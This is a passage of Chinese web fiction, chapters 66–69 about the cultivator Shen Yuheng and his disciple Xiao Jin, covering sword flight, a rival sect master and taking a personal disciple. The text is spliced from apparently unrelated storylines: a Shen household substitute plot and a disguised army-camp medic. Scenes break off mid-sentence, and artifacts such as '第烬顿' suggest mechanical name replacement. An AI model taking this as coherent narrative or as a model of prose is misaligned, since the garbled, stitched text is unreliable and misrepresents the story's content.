屋里的沈玉衡哼着无名小曲,盘腿坐在软塌上,听着这些小弟子们议论纷纷。 没想到,活了两辈子,竟然还能听到这些小娃娃们在争论自己和萧烬谁更好。 从前,向来只有骂他们的份。 骂他误人子弟,罪不可恕,骂他的徒弟有眼无珠,错付仙途。 即便他确实不在乎那些带有偏见的恶语,但如今,虽然只是一点点——这一情况确实有所改善。 沈玉衡意识到,冥冥之中,他已经踏入了另一条命运之中,一条与前世全然不同的道路。 他阖上眼。 飘入耳中的声音,有穿林打叶,孩童嬉闹,还有远远的,模糊的,剑斩西风声。 那一晚,向来浅眠难安的他,意外地睡了个好觉。 第二天清晨不到,沈玉衡便揉着眼睛爬了起来。 他有个毛病,要么睡得浅,要么好不容易睡熟了,又肯定睡不久。 沈玉衡小声哈了口气,忽然发现伸出的右手搁到了……什么东西? 他侧头一看。 萧烬那张清隽英气的脸庞近在咫尺,轻轻颤动的睫毛,微热的睫毛,撩拨着旁人的心…… 呸!撩什么拨,他又不喜欢男人! 但萧烬当真比他见过的任何人都长得好看,沈玉衡一边欣赏着,一边戳了戳他的脸颊。 嗯? 还以为会是硬硬的,没想到质地弹软,像个糯米团子。 “……” 没醒,再戳戳。 “……” 萧烬睁开眼,默默盯着悬在他脸前的手指一颤。 “……师父有什么事吗?” “咳咳,帮你拍灰呢。” 沈玉衡心虚地伸过手,掸了掸萧烬白净的脸颊。 但在他意料之外,少年既没有嫌弃地皱眉,也没有将他的手一把拍开,反而趁势凑过来,轻轻地将他的右臂捧了起来,像是生怕碰坏了哪儿似的。 沈玉衡别扭地挣了一下,“怎么了?” 萧烬用指尖点在他右臂内侧,一脸认真地说:“这儿,伤口留疤了。” 留疤? 顺着指尖的方向看去,右臂上果真有一条蛇形的粉色疤痕,不深不浅,悄悄藏在一处角落中。 是因为那天被鬼人鼠挠了以后,没有好好处理伤口吧。 “不要紧,留着也没事。” 萧烬不理他,默默向疤痕处输送着灵气。有着治愈能力的微热气息缓缓汇聚,再隔着肌肤送入他的体内,带起一丝痒意。 沈玉衡微眯起双眼。 记忆中,萧烬很少会这样主动接触他——少年总是远远地看着他,答应他所有无理的要求,最后再静静离开,留他一人在老屋里喝的不省人事。 偶尔这样亲近一会……倒也不错。 半晌过后,萧烬麻利地抽出手,替他重新整好了袖口,才算治疗结束。 沈玉衡问他:“这么不喜欢见疤吗?” “……嗯。” 沈玉衡点点头,也不再继续这个话题。 他随意地披上衣服,向往常一样起身下床,走出老屋,却发现屋外的圆形石桌上摆着三四碟花花绿绿的小菜。 他左右张望了几下,就望见不远处的绿荫旁,几个小童急匆匆地缩回脑袋,不敢让他发现踪影。 嗯,没白养。 沈玉衡心情不错,把屋里的萧烬也唤了出来,两人面对坐下,动筷夹菜,自在得很。 桌上寥寥几个小碗,菜色虽然不算多,但山上的蔬菜新鲜爽口,配上半壶黄酒,也能叫人吃的尽兴。 沈玉衡正喝的开心,忽然心思一动,抬头看向默默吃菜的少年,把手中满满的一杯酒递了过去。 “尝尝?” 不等萧烬开口拒绝,沈玉衡就先一步将酒杯塞进了少年的手中,期待地盯着他僵在原地的动作。 萧烬内心挣扎了一会儿,终于还是在师父“喝嘛喝嘛”的劝诱下扬起酒杯,一饮而尽…… ……一饮而尽? 这傻小子!让他尝一口,怎么一杯全喝了? 眼看石凳上的少年已经有些眼神迷离,沈玉衡赶紧贴上去,“萧烬,需不需要躺一会儿?” 摇头。 “晕吗?” 晃晃悠悠地摇头。 沈玉衡打量起他,虽然脸上是红扑扑的,但萧烬眉眼清明,不似有醉意。 想来修仙者的身子本就好,这一杯下去,顶多也只是微醺,哪里谈得上喝醉?沈玉衡放下心来,收拾起进城的行囊来。 今日该是他们动身赶赴平京城的日子,意外情况,还是越少越好。 万事具备后,萧烬站在悬空的剑身上,伸手问道:“师父怎么不上来?” 少年神色平淡,眼里却不知何时染上了一丝迷糊。 他脚下的剑身摇摇晃晃,永远没有端正的时候,程度之剧烈,好像下一秒就能让人面朝黄土摔个半死。 沈玉衡勉强扯着嘴角,反过来劝道:“萧烬,要不我们改天再去……?” “是师父说此事紧急,要早些去的。” “……那,那你慢点。” 沈玉衡视死如归地走上剑身后,也顾不上自家徒弟乐不乐意,立刻像个八爪鱼似地黏在了萧烬的背上。 一路的天旋地转过后,他更是死都不肯撒手,牢牢抱着少年不放。 这哪里是御剑!这分明是孙悟空翻筋斗云! 好在这平京城离得近,没一会儿就到了目的地。 萧烬在云下俯瞰城里城外,只见风景大好——城外绿林无边,黄花正美,一幅生机勃勃之景;而城里大道小路纵横交错,芝麻点大的小人在其间忙碌个不停,吆喝声,私语声,还有造型各色的古雅楼阁,都装点着整座城市的活力与热情。 世间繁华尽收眼帘,让萧烬的心下都隐隐触动,但他一侧头,却发觉师父埋在他肩上,死活就不肯抬头。 他只能劝:“师父,这儿好看。” “我不看。”沈玉衡双臂缠着他上身,两腿又环在他腰上,当真是被怕得不行,“我晕剑!你要看够了,就快点下去……” “好。” 景色再好,萧烬也不愿见着师父难受,他一找到城门口,就赶紧将剑稳稳停落,把沈玉衡从自己背上半哄半推地卸了下来。 但一看到眼前高耸入云,威武十分的巨大城墙,沈玉衡的心情总算缓和了不少——没什么地方,比这儿更让他熟悉亲切的了。 城门口聚集着许多排队进城的马车,沈玉衡便牵着萧烬,轻车熟路地来到了不远处的一道不起眼的侧门口。 沈玉衡向他解释道:“这个小门虽然是凡人看守,但只有门派内的人可以通过。” “师父常来这儿?” “嗯,算是。” 萧烬不经意地接着问:“一个人?” 沈玉衡咽了咽口水,“……嗯。” 不行,接下去的不能再问了。 也不知为何,他面对萧烬时,总是没法像平常一样自信地大开忽悠,再说下去的话,肯定是要露馅的。 沈玉衡赶忙大步走上前,想借着和守门人攀谈来岔开话题。 他刚一张口,还没来得及出声,就见到这位守门的老熟人笑容满面地迎了上来。 “沈峰主啊!这回怎么没带小师妹,带了个男的过来啊!” 沈玉衡:“……” 萧烬:“……” 沈玉衡勉强扯着嘴角,回头望过去。 方才还稍稍多话起来的萧烬,善解人意地闭上嘴,一声不吭。 我不是,我没有,这都是误会。 萧烬,你听我解释—— 第 67 章 第 67 章 67 翌日清晨,天还没亮,沈听澜送他离开。 虽然当了沈小公子的替身,但沈玉衡也不能每时每刻待在沈府。 他还有自己的家呢。强忍下刺骨的疼痛,沈玉衡努力找回意识,看清了半空中悬停着的那柄洛神剑,以及剑上站着的那位凤眸逸仙。 染着点点笑意的冠玉之面,很像是凡界的富贵少爷,可他身上的某种不可言说的非凡气宇,沈玉衡又从未在那些花花公子身上感受到过。 怎么偏偏是他? 前世怂恿白长卿杀死自己的那张脸蛋,看了就糟心。 沈玉衡扯了扯嘴角,“多谢这位俊仙公相救了。” 项逐天冷哼一声,将握在手中的花枝轻轻挥动,红色的花瓣闪动间,几道剑光霎时飞过,除了他们以外,四下再无活物。 大乘期的实力,果真不可小觑。 沈玉衡沉默地望着那堆被劈烂成肉泥的鬼人鼠。 项逐天所修炼的《洛神心法》,是世间独此一本的至阴仙法,传闻,但凡修炼此法者,必是男生女相之人,如若修炼大成,不论从前是个强悍魁梧的汉子,都会变得眉似远山含黛,目如凤霞金珠——说是脱胎换骨,绝不过分。 项逐天本就是极阴体质,再得了这本他师父贤王所赠予的《洛神心法》后,实力倏然大增,折枝为剑,千岁不到就已至大乘境界——离通往真仙的渡劫期,仅仅一级之差。 只是这对他倒也有坏处。 不论什么场合,项逐天总是要把自己紧紧包在一身庄重的墨色衣袍之中,好像不这样穿,就藏不住这一双凤眸中的媚色。 此时的项逐天依旧着了一件与夜同色的墨袍大衣,他眯眼瞥向沈玉衡被剜去一层血肉,甚至露出森森白骨的右臂。 “师弟倒也真是鲁莽,既然自知实力不足,就不该随意出手,还将自己……伤成这样。” 沈玉衡忽然心觉奇怪,皱眉道:“项峰主,你为何……” “师弟不必多言。” 打断了沈玉衡的话后,项逐天唇角勾起一抹极浅的笑,很快又消失不见,转而故作烦恼地看向一旁寡言少语的少年。 “萧烬,你是我最看重的弟子,怎可跟沈峰主一般鲁莽?你也知道,仙途坎坷,多有波折,若是身边没有一个可依托的人,将来再这样遇到危险,又该怎么办呢?这一次还好,我恰巧路过此地才能赶来搭救,可要是将来我要不在,你又该依仗谁呢……” 沈玉衡冷眼瞧着他一副虚伪音容——好温柔的语气,好温柔的师兄,只不过,全都另有所图罢了。 那个自尊心要比性命还重要的项逐天,被萧烬拒绝了一回收徒,竟然还想来收第二回 ! 沈玉衡站在对峙的二人身边,假装与空气融为一体。 他心里,其实是有些慌的。 项逐天是什么人?仙鸣峰主,洛神仙君,曾经的第一剑修贤王的亲传弟子,也是如今仙界距离真仙最近的修士之一。 他是什么人?一无所有的上青峰主,受人讥笑的奇门符王。 就算萧烬真的想拜项逐天为师,自己也是有千百种方法把他臭不要脸地抢回来。 可是在那之前,沈玉衡也想听听,萧烬心中最真实的想法。 萧烬依旧不领情,平静且不失礼地回复道:“多谢项峰主关心,晚辈自会多留心。” 项逐天仍不肯放弃,耐心劝道:“萧烬啊,我知你性子内向,有些话,有些心思,在人前不好意思说,但我今夜救你一命,你因此而拜入我门下,这理由再适合不过,绝不会有人背后议论的。” 萧烬眸子一暗,片刻的沉默过后,仍是摇了摇头。 项逐天只觉得胸前呛着一口气出不来,不解又恼火,“这……又是为何?” 环抱而立,倚于树下的沈玉衡,就这样看着眼前的少年转过头,视线所及之处,先是他微楞的眸子,再之后,才轻轻地落在了他受伤的右臂上。 仅仅一眼,似惊鸿一瞥,让他心上掀起了一波波狂喜的浪潮。 “晚辈虽愚钝,却也明白,谁是真正诚心相护。” 萧烬一字一顿,说得再明白不过。 “他?诚心相护?”项逐天弯眉瞪眼,脸上写满了不可置信,也不顾沈玉衡还在场,就说:“知人知面不知心,萧烬,我知道你一心求道,涉世尚浅,但你也知道沈峰主这……人虽不坏,可这修为高低,风评好坏,总不会错吧?你又何必舍近求远……” 萧烬再一皱眉,不愿多言。 沈玉衡立刻拦在了他身前——再不替萧烬挡下这桩事,他就算白活第二次了! 沈玉衡佯作无奈的样子,反过来劝道:“项峰主,我徒弟已经说得明明白白,你又何必强求呢?这师徒之事全凭缘分,如今我和萧烬缘分一场,你这强插一脚,实在不好看吧?” 项逐天的笑彻底僵在了脸上,映着天上一层银光,活像一樽上了染料的木雕。 沉默良久,他忽然松开眉梢,恨铁不成钢似地摇摇头,“这样的天赋,实在是可惜了。” 堂堂洛神仙君,就这么被一个金丹弟子拒绝了两次,说来实在不好听。 这回他倒是走的很干脆极了,踏剑而去,残香消散,一点儿不多留恋。 结束了? 紧绷的身子总算放松下来,冰凉的晚风也趁机钻入伤口的肉缝之中,疼得沈玉衡打了个哆嗦。 萧烬盯着他,轻轻叹了声气,“走吧。” 沈玉衡一愣:“走去哪儿?” “回家。”萧烬说完,又补充道:“你受伤了,进屋里好些。” “小伤,那个不重要。”沈玉衡一点不像个病人,乐呵呵地凑了过来,“萧烬,你刚刚是不是说……要做我的徒弟来着?” “我不……” 沈玉衡自然听也不听,一高兴,竟是揽上了少年的肩:“萧烬,你放心,一会儿我们结了亲传印后,项逐天就真不会再来找你麻烦了。” 修仙之人虽无收徒限制,但待遇最好的亲传弟子却只能收一位——师父若是修为增长,或得到什么仙宝法器,做亲传弟子的也都能通过亲传印记来分一杯羹,可谓好处多多,不要白不要。 相比起普通弟子整日在山里练门派统一心法的悲惨样子,强大修士的亲传之位,一直是众人所觊觎的对象。 咳咳……虽然他绝对算不上什么强大修士,但萧烬应该不会拒绝……吧。 而萧烬很快将他的手拍落,沈玉衡一愣,这才想起他竟是犯了大忌。 萧烬他向来不亲近人,更别说揽肩膀这种亲昵的肢体接触了。 “嗯。” “好了好了,下回不这样……”沈玉衡的声音戛然而止,又问:“你,萧烬,你方才说什么?” 萧烬并没有意识到沈玉衡的情绪,侧头问:“不是说要结印吗” “……对!结印。” 沈玉衡心情大好,进到屋里,经过门廊时被木刺刮着伤口都没想喊疼,生怕坏了这位准徒弟的心情。 他走进不久前才藏身过的这间屋中,木窗已经被鬼人鼠所破坏,将室内的风景暴露在外。虽然无人经过,但想了想,沈玉衡还是用灵符重新化出了一扇崭新的木窗。 “沈……”萧烬顿了顿,犹豫了半晌后,改口道,“师父,结印该如何做?” 萧烬还不习惯的这个称呼,沈玉衡却早已听过千万遍。 同一人说,同两个字,却让他从前世听到今生,百听不厌。 沈玉衡想了想,说:“我听人讲,是灵血相融,元婴相会,我虽未及元婴境界,取灵脉中的血也是一样。” 不等萧烬开口,沈玉衡就咬破了食指指尖,将其上的红色血滴印在了少年冰冷的额间,而后,萧烬也学着他的样子,在沈玉衡额上重复着做了一遍。 赤红色的血液一碰上化婴之地,便像落入水中的墨滴一样染开,许久过后,才终于被额后的灵脉所吸收。 萧烬睁开眼,眨了眨明亮的眸子,“结束了?” “没什么感觉?”沈玉衡边说,边从衣柜里顺手拿了张毯子垫在地上,舒舒服服地枕着他躺在了地上,“以后可能会有些用,你元神里的印记会告诉你我得了什么宝贝,什么心法,有用的很。” 萧烬试着用元神触碰了几次火热的印记,一睁眼就看到沈玉衡姿势随意地躺在冰冷的地板上,立刻皱起眉,“你做什么?” “睡觉啊。”沈玉衡完全想不出这有什么好问的,但转念一想,萧烬心思细,心眼好,肯定是不忍心让他受凉,“你睡床上就行,我胳膊上都还是血,睡床上岂不是会弄脏?” 萧烬:“……” 沈玉衡闭上眼,耳边却突然听见脚步声响起。 萧烬下床了?再不睡会儿,天都要亮了,现在还下床做什么? 沈玉衡忽然被一股力道揽住腰身,还不等他反应,那人就不由分说地将他拦腰抱起,再轻轻放在了床上。 他背靠墙角,揉着有些被掐红了的腰部,惊讶地看着面前一脸平淡的始作俑者,“……你干什么呢?” “师父受伤了,别睡地上。” 听完,沈玉衡心中一时很是感动——这徒弟刚收来就这么关心自己,还肯让床给他睡,实在是他做师父的福…… 福……分……? 萧烬默默坐回床上,衣衫褪下,被单一掀,大大方方地睡了进去。 沈玉衡心中万马奔腾——你倒是下去睡啊! 他坐起身,端详着身下这张地方不大的单人床,和不喜欢与人有肢体接触,而跟他保持着完美间隔的萧烬。 如果让徒弟睡地上,自己睡床,这师父做的肯定也是不称职的,再说了!他前世陪了萧烬那么久,也不是没有同床共枕过,想那么多干嘛?况且当下情况特殊…… 嗯! 做了一个半辈子直男的沈玉衡向自己解释说:师徒之间,分的那么开干嘛?同床共枕为小事,伤了情分可不好。 不知觉中,丝毫未有顾虑的萧烬已是沉沉睡去,可门外却传来一阵突兀的脚步声,提起了沈玉衡的十二万分警觉。 他坐起身子,从褪下的衣衫中悄然摸出一张灵符,静候敌人现身。 谁料来者竟是张熟悉面孔——王小二寻着萧烬从前的住处来到此屋,一把推开门,“师兄,我的事都……” 沈玉衡赶紧比了一个噤声的手势。 萧烬还在睡觉呢!吵醒了他怎么办? 但这幅场景,落在王小二眼中,可就全然变了意思。 他一推开门,就看窄小的床榻上,两个男子外衫尽褪,亲密无间地凑在一起,而他俊美无比的师兄,好像很是疲惫地躺在床上…… 震惊到险些跪地的王小二抬眼一看。 传闻中的邪恶淫仙正坐在他师兄身边,还比了个‘嘘’的手势,虽然不知道是什么意思,但王小二坚信自己看懂了沈玉衡的手语。 ——敢出声,你就死定了! …… 是夜,王小二在仓皇逃窜中,终于回到了门派。 那之后,仙鸣山派内传出了沈玉衡男女通吃的传闻…… 沈府这儿,他答应沈听澜,时不时过来吃个饭,陪陪老人家,是没问题的。 正准备回去找周源,两人身后突然传来一个年迈低沉的声音—— “这么早走?干什么去?” 第 68 章 第 68 章 68 要学医,首先得拜师。 沈玉衡自己跑了几家医馆,小半个月的时间,他算是亲身体验了京城医馆到底有多乱。 他能找到的师父,实在都不靠谱,就算学成了,沈玉衡自己都不敢治病救人。 当晚。 晚膳过后,他找到沈听澜,诚恳地问:“二哥,我想学医,你能帮我介绍个师父吗?” 沈听澜挑了挑眉,敏锐地问:“学医干嘛?你也想上战场不成?” 沈家确实有能力送他入兵营,如今连年战事,军医的俸禄相当可观,周玉馋这份钱也不奇怪。 “不是,我就想开个小医馆,和我哥在京城有个门面,过个安稳日子。” 听到周玉嘴里说出“我哥”这两个字,指的却是别人,沈听澜的眉头微蹙,但也没刻意指出。 以沈听澜的人脉,想找一个靠谱医师,当然不难。 第二天一早,沈玉衡就被送到了京城最出名的医馆之一的慧草堂。 他之前也抱着试试看的心态来问过一次,但慧草堂明确不收学徒,所以无功而返。 现在看在沈家的面子,才破例收下了他。 沈玉衡也绝不浪费这个机会,晚上他去沈府扮演沈小公子,白天就跟着慧草堂的几位医师学习医术。 他完全是初学者,从基础的医理到望闻问切,不是一朝一夕能学成的,只能把所有时间都利用起来。 有时候忙到在沈府用完晚膳,还要点着灯看医书。 周源看他忙成这样,经常抽空去医馆送些吃食过来。 周源会做的菜色不多,从前特意学了几样,都是为了做给沈玉衡吃的。 现在,他的手艺不多不少,原封不动还是那些。 没想到周玉照单全收,不管他做了什么,都特别喜欢的样子。 那么像的一张脸,已经足够巧合了,难道连喜好都是一模一样的吗? 周源觉得奇怪,却并没有往下细想。 毕竟人死如灯灭。 又不是志怪小说,死去的人与活着的人,再像也只能是像。 相貌,口味,这些都能用巧合来解释。 他终究不能像萧烬一样,狂妄到意图逆转一个已经既定的,毫无回旋之地的事实。 周遭一片寂静,胡郎中拿笔的手都僵了。 忽然“啪嗒”一声,手中的毛笔落地。他颤抖手指,指着刚醒的人,不知是震惊还是激动:“你、你……” “这是诈尸了?!” 一个围观伤兵先震惊开口。 “去去!人本来就没死,什么诈尸?”胡郎中回神,立刻没好气道。 伤兵“啧”一声,道:“之前可是您自己说,人就差一口气了,跟死了没区别。” 胡郎中顾不得捡起笔,赶紧上前想拿开刀:“诶诶,这是干什么?小女郎是在帮你看伤,别激动,赶紧先把刀放下。这里是伤兵营帐,你从战场回来了……” 一些从战场上被抬下来的昏迷伤兵,刚醒时,会误以为自己仍在战场厮杀,本能地攻击周围人。 胡郎中以前遇到过这种情况,对此很了解,赶紧解释一通。 但解释完,这人仍一动不动。 他表情倒不似其他有这状况的伤兵那样狰狞,但……就是没什么表情,只空茫看着离他最近的沈玉衡,仿佛刚才胡郎中的那些话,他并未听见。 胡郎中不由走近到两人身旁,瞧瞧他,又瞧瞧神色如常的沈玉衡,暗忖:该不会是还没醒,在发癔症? 他不由抬手在这人眼前挥了挥,眼睛没动,又去拿刀身,也不动。 “嘶,这倒是奇了。”胡郎中纳罕。 沈玉衡这时低眸,余光轻瞥,忽然道:“你的伤口流血了。” 声音清润,不疾不徐。 终于,这人有了反应,缓缓低下头。 胸口的箭伤因刚才剧烈动作,有些崩裂,渗出鲜血。 只是方才还出手迅捷的人,此刻却像反应忽然迟钝,一直盯着伤口不动。 直到沈玉衡抬手捏住他的刀身,他终于有了反应,再次抬头。 然而在他注视下,刀像失去了反抗能力,被慢慢拿开,放下,连带着他的手臂一起。 他古怪地看向自己的手臂,又看向沈玉衡,对上一双清冷玉丽的眼眸。 “躺下。”眼眸的主人开口,容色平静。 他没动,像刚醒来,充满警惕的猛兽。 沈玉衡忽然伸出手指,微凉指尖触碰到他胸口的皮肤,视线与他相对。 他瞬间僵住,望着沈玉衡,然后就像那把刀一样,被推着,缓缓躺下。 躺下时,他的视线仍一瞬不动地锁在沈玉衡脸上。 指尖很快收回,皮肤上的凉意也转瞬消失。他喉结似乎动了一下,目光依旧定定望着沈玉衡。 沈玉衡感觉很奇怪,但无意多想,很快拿出针线,继续帮他处理伤口。 胡郎中见状,终于松一口气。 周围空气也像忽然从凝滞中恢复,伤兵们的嘈杂声音又隐隐传来。 甚至有几个好奇的伤兵忍不住靠近几步,昨天那个断腿伤兵也拄着拐过来,神情震惊又惊讶:“还真救活了?奇了呀!” “多亏沈姑娘,沈姑娘真是神医。”旁边另一人道。 “这家伙运气可真好,跟张河那小子一样。” “欸,你可要好好感谢沈姑娘,要不是她,你这条命只怕已经没了。” 间或传来的声音并没影响沈玉衡缝合,似乎也没影响到躺着的人,他能感觉到对方的视线一直落在他脸侧。 处理伤口时很疼,针线穿梭皮肉,这人竟也不吭一声,甚至视线都没动一下,一直在看他。 换做是张河,恐怕早疼得喊“娘”了。 沈玉衡一边落针,一边竟还能分出心思,想这些乱七八糟的。 终于缝好最后一针,他剪断细线,忍不住抬头,问仍在看自己的人:“你在看什么?” 视线猝不及防相撞,他玉丽的眼眸闯进对方眼中。 对方似乎怔了一下,接着竟忽然偏开头,不再看了。但过一会儿,又转回来。 沈玉衡:“……” 很奇怪的一个人,他心想。 像一路跟着人的狼犬,被发现后连忙藏起来,但过一会儿,又忍不住出来继续跟。 但这似乎跟他没什么关系。 沈玉衡收好工具,起身时忽感到腹中一阵饥饿,才发觉时间已经过去很久。 军中只供两顿饭,现在还没到吃第烬顿的时候。好在他用朝食时,偷偷藏了半块粗饼,药房有热水,去那边用水泡着吃就行。 于是匆匆跟这人说几句伤口要注意什么,也不管对方听没听进去,就又跟胡郎中说自己有点事,要先离开一阵。 胡郎中摆手,道:“没事,你去忙吧,我再看看其他伤兵。” 看有没有哪个幸运的,能被他抓来缝两针,练习练习。 几个伤兵们丝毫不知“危险”将至,沈玉衡一走,他们就围上前,有看热闹的,也有好奇问话的—— “兄弟,你这回可真是大难不死啊!一千多人,就你一个活着被抬回来,本来都快不行了,又遇到沈姑娘,被她救了,真是祖上烧高香了啊。” “对了,还没问你叫什么?” “你手里这把刀是哪来的?” 刚醒来的青年只看他们一眼,就移开视线,静静不说话,只有那只手仍一直握着黑铁弯刀。 “兄弟?” “怎么不说话?” “对了,你是不久前刚被招募来的吧?我在营中也挺久了,看你好像有些面生。” 又有几人问他,但他依旧不答,只维持平躺着,目光静静望着帐顶。说好听些,像在望着帐顶出神,说不好听些,像根本没听懂大家说什么。 如果不是那双漆黑如墨的眼睛一直睁着,简直和之前昏迷时没两样。 “不会是个哑巴?”有人压低声猜测。 话刚落,空气中传出一声“咕”,是这人肚子在响。 “……” 有人拿了半个馒头给他,但他仍不动,依旧安静望着帐顶。 “嘶,可能还是个傻子!”饿了都不知道吃。 “胡郎中,胡郎中!快别抓人缝针了,赶紧来看看,这人不大对劲!” 说完,他提起药箱离开。 萧烬望着他的背影,良久后,低头看向掌心的两片甘草片,目光轻闪。 醒来后,他脑中一片空茫,只在被那位将军问话时,隐约记起一个“萧”字,其他一概不知。 他不知这里是哪,不知自己是谁,只知道睁开眼看见的第一个人,是方才那个小女郎。 听那些伤兵说,是对方救了他的命。 在他躺在角落里无人管,只能静静等死时,是对方每日来给他换药…… 他忽然抬起头,视线又追上那道身影。 沈玉衡已经走到帐门口位置,正在看张河的情况。 张河这次醒着,见到他显然很激动,一个劲儿感激,险些涕零。 沈玉衡无奈,面上带着一贯的笑,温声告诉他不能太激动。 “没想到啊,张河这小子竟然真挺过来了。” “多亏了沈姑娘,谁能想到呢,他肠子都断了,还能救。” “对了,那边那位不也是,沈姑娘救的。” 几个伤兵感慨,又压低声音,眼神示意不远处的萧烬。 萧烬仿佛没听见他们说什么,视线慢慢从帐门口处收回,又看向手心的甘草片。 那位沈姑娘很厉害,医术高明,说话轻柔,玉丽的眸中总盛满笑意。 沈姑娘人也很好,伤兵营里的伤兵个个都称赞她。不过……她好像对谁都很好,对谁说话都轻柔,带着一样的笑意。 没有谁是特别的。 萧烬握住手中的甘草片,片刻后,又仔细收好。 他躺回床上,继续单手垫在脑后,静静望着帐顶,却好似无法再回到之前的平静。 于慈硬着头皮走上前。 他一走,他身后戴着斗笠面巾的沈玉衡,被迫出现在了萧烬的眼皮底下。 萧烬盯着他,视线忽然停住,就好像被他这身破衣烂衫的某个地方吸引了似的。 沈玉衡默默捏住斗笠边缘,压低了一截。 认出来,认不出来,都很正常,结局无非都是一种。 他想要的沈玉衡,已经在那个棺椁里长眠了。 和他周玉又有什么关系呢? 第 69 章 第 69 章 69 萧烬第一眼看见这个衣衫褴褛的身影时,心底就升起一种奇异的感觉。 他也说不清那是什么感觉,明明从来没见过这个人,甚至对这人一身破破烂烂的穿着也十分不屑。 他连对方的长相都没看过,却莫名感觉到一种……熟悉的气息。 “陛下。” 徐阿婶见沈玉衡脸色还没恢复,有些不放心,但她出来太久,得赶紧回去熬药,只能叮嘱几句就走。 沈玉衡又坐一会儿,待体力恢复后,才去捡之前放下的箩筐。起身时,视线不经意扫过那个有些昏暗的角落。 因为方才的事,不少伤兵都还在帐门口处,热闹议论,只有那个角落依旧冷清,孤零零地躺着一个昏迷不醒的人。 沈玉衡目光顿了顿,很快收回,捡起地上的箩筐和胡郎中一起离开。 胡郎中平时跟士兵们一样,在营中吃大锅饭。但今日赶巧,家中老妻让人送来了热腾腾的饭菜。 他忙招呼沈玉衡坐下一起吃,大约是太过高兴,还让小孙子胡圆儿去温些酒来。 他常年在营中跟士兵们打交道,一时也没想到男女大防这件事。何况面前的小女郎看起来太过年轻,他只当对方是晚辈。 沈玉衡本身是男子,只是不得已才扮女装,也没想这些。 不过他不饮酒。 胡郎中后知后觉,这才意识到自己是在请“小女郎”吃饭,饮酒确实不妥,忙让胡圆儿把酒又撤下。 一顿饭用得宾主尽欢,饭毕,胡郎中便迫不及待向沈玉衡请教起缝合之术。 他虽年近五旬,已行医数十年,但在学习这件事上,并不耻于向晚辈询问,何况是这种他此前从未见过的缝合之术。 沈玉衡本就有心引起他兴趣,自然也不藏私。况且军中多个擅长缝合的郎中,对将士们也是好事。 他虽不知梦中西北防线是怎么被攻陷的,但能为边塞的防御做一点事,就做一点。无论如何,胡人入侵,对他和父亲并无好处。 想到此,他目光清落,缓缓开口,将缝合的针法、什么伤该怎么缝、各要注意什么等等,都一一道来。 胡郎中忙拿起笔,飞快记下。因写得太急,字体潦草异常,简直像一堆乱草。 但胡郎中自己却分外满意,对写下的内容爱不释手。搁下笔时,他抬头再看向沈玉衡,心中愈发欣赏。 小女郎虽年龄不大,但医术高明,又有仁善之心,自己与她不过几面之缘,两次向她请教,她都毫不藏私。 且她年纪虽小,处事却沉稳,落落大方,实在难得。 他不由捋了捋胡须,沉吟片刻,终是没忍住,道:“小女郎有如此才能,却被安排来浣衣换药,实在可惜。不若我跟上头说一声,调你来给我当帮手,以后就不必再去浣衣了。” 说这话时,他老脸有些赧然。别的虽不好说,但缝合这方面,小女郎可比他厉害得多,他给对方当帮手还差不多。 只是对方终究是罪眷,没脱罪籍,无法在军中担职。且大周军中,也没有女军医这个职。能把对方调来当帮手,免去劳役之苦,已经是胡郎中尽力能做的了。 不过他心中还是有些惭愧,又含糊道:“只是暂时这样,等你以后有了功劳,或许就能请陈将军帮忙上报,除去罪籍,免再受苦。” 陈将军是营里官职最高的人,管着营中三四千人及永丰镇附近的长城防御。 沈玉衡等的就是胡郎中这句话,自然点头说好,接着又谦逊感谢一番。 他原本目的就是想借缝合之术,打动胡郎中,来他这里当帮手。至于脱罪籍,他倒未必会在这留那么久。 “好好好!”胡郎中见他答应,心中也更喜,忍不住起身搓着手,高兴之色溢于言表。 原地又踱两步,他忽道:“那你下午就不必再去照看伤兵了,先留在这边帮我整理药材,抄抄药方。” 这其实是变相照顾沈玉衡。 胡郎中的医术虽算不上厉害,但也绝不是庸医。全营三四千人,大大小小的伤和风寒发烧,全靠他治。可说一旦打起仗来,不少人的性命都悬在他身上。 营中守将倒是向上面呈请过几次,希望再调个军医过来。但边境本就缺郎中,永丰镇驻兵又只有三四千,平时战事不算多,上面早把仅有的人手都派到更紧要的地方去了。 所以对胡郎中这个仅有的郎中,营中给的待遇一直不错。药房有炭盆,把房间烘得暖烘烘的,不像流放罪眷们住的营帐,只有木柴烧的火盆,烟熏不说,晚上火灭了后,账内不多时就变得寒冷无比。 此外还有茶水供应,药房的活也不重,只是整理药材、给伤兵拿药,比去浣衣轻松得多。 不过对沈玉衡来说,这些都不是最重要的。重要的是,他现在能接触到药材。 原本在他计划里,起码要和胡郎中熟悉几日,才好向对方提出到药房干活。没想到意外救人后,竟让他计划比预想中提前且顺利许多。 当然,能避免再被蒋百夫长骚扰,也是一个好处。 沈玉衡目光清透,闻言忙答应下来,且再次道谢。 胡郎中对此也很满意,领他到药房讲了些注意事项后,便有些急不可待地出去继续研究缝合之术了。 沈玉衡目送他走后,视线便移向摆放在墙柜中的药材,一一逡巡。 梦中他虽没真正当过郎中,但跟那位游医学习时,也帮人治病、开药。后来行军打仗,更常跟军医打交道。 尤其胡郎中这里大多是些治风寒、外伤的伤,他都认识,整理起来并不难。 最重要的是,能随意接触这些药材后,他就能神不知鬼不觉地配出自己急需的药。 他天生畏寒,是因母亲在怀他时,被宫里派人去强行灌了寒药堕胎。可惜他命大,并未死去,只是身体还是受到影响,出生便带寒毒,时有发作。 之前在流放的路上生病,和这次风寒迟迟未愈,都与这寒毒有关。 如果不尽快配出能暂时压制的药,等发作时,必然煎熬难忍。 虽然游医教的吐纳法也有用,但并不能根治。且吐纳法需长期练习,效果才佳。可眼下他却等不了那么久,距下次寒毒发作,只剩不到七天。 当年他母亲被迫喝的那碗寒药,出自宫中秘方。后来父亲冒险联系外面的旧部,几经周折才找到能暂时压制寒毒的药方。 只是,梦中他流落西羌时,就是因寒毒发作,照药方抓药时,被游医猜出身份。 可见当年那碗寒药只有宫中才有,哪怕是能暂时压制毒性的药方,都有可能被有见识的人看出端倪,进而使他有身份暴露的危险。 沈玉衡敛眸沉思,虽然胡郎中的医术并不算顶尖,但他却不敢冒险,像抓治风寒的药那样,经对方的手抓药。 所以到药房干活,自己私下取药,是最好的办法。 且接近胡郎中,等日后对方信任自己,有需要采买药材的时候,自己也能借机跟他一起离营,到附近县城去,给将要来寻自己的父亲旧部留下暗号。 毕竟营中认识药材的人,只有他和胡郎中,对方以后必会倚重他。 不过这是之后的事。 眼下趁整理药材的机会,他先将自己需要的药准备了七七八八,只是整理结束,他神情却又凝重—— 还缺两味药材。 